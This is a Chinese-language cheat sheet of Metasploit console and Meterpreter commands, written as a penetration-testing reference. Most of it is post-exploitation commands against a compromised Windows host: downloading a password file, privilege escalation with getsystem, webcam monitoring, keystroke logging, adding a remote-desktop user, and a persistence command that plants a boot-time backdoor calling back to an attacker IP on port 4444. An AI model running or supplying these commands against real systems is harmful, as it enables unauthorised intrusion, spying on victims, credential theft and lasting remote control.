Back：返回

Connect：远程连接主机，主要用于内网渗透

Jobs：查看目前msfconsole上存在哪些任务

Kill：终止某任务

Search：查找模块，漏洞

Set：用以配置模块

Unset：重新设置

Setg：全局更改，配置完后，永久保存

Payload：攻击模块

Show：显示

Use：使用某模块

Meterpreter：

background#返回，把meterpreter后台挂起

bglist#提供所有正在运行的后台脚本的列表

sessions -i number # 与会话进行交互，number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用

close# 关闭通道

interact id #切换进一个信道

run#执行一个已有的模块，这里要说的是输入run后按两下tab，会列出所有的已有的脚本

getwd 或者pwd # 查看当前工作目录

ls #

Cd

mkdir lltest2 #只能在当前目录下创建文件夹

rmdir lltest2 #只能删除当前目录下文件夹

getlwd 或者 lpwd #操作攻击者主机 查看当前目录

lcd /tmp #操作攻击者主机 切换目录

cat c:\\lltest\\lltestpasswd.txt # 查看文件内容

upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上

download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上

edit c:\\1.txt #编辑或创建文件 没有的话，会新建文件

getsystem #会自动利用各种各样的系统漏洞来进行权限提升

getuid #查看对方正在运行的用户

ps #列出所有的进程

getpid #返回运行meterpreter的id号

sysinfo #产看系统信息和体系结构

shell #切换到cmd的系统权限方式

exit #退出shell会话返回meterpreter或终止meterpreter

getdesktop 截取目标主机当前桌面会话窗口

run webcam -p /var/www #在/var/www目录监控目标主机的摄像头

keylog\_recorder #使用migrate将会话迁移至explorer.exe的进程空间后记录键盘

后门植入：

run persistence –h #查看帮助

run persistence -X -i 5 -p 4444 -r 192.168.1.159

#-X指定启动的方式为开机自启动；-i反向连接的时间间隔；–r 指定攻击者的ip

远控：

run getgui -e #开启远程桌面

run getgui -u user1 -p 123 #添加用户

run getgui -f 4444 –e #3389端口转发到6661

enumdesktops #查看可用的桌面

getdesktop #获取当前meterpreter 关联的桌面

set\_desktop #设置meterpreter关联的桌面 -h查看帮助

screenshot #截屏

use espia #或者使用espia模块截屏 然后输入screengrab

run vnc #使用vnc远程桌面连接，这方法有点问题，上传了exe但是启动不了

keyscan\_start #开始键盘记录

keyscan\_dump #导出记录数据

keyscan\_stop #结束键盘记录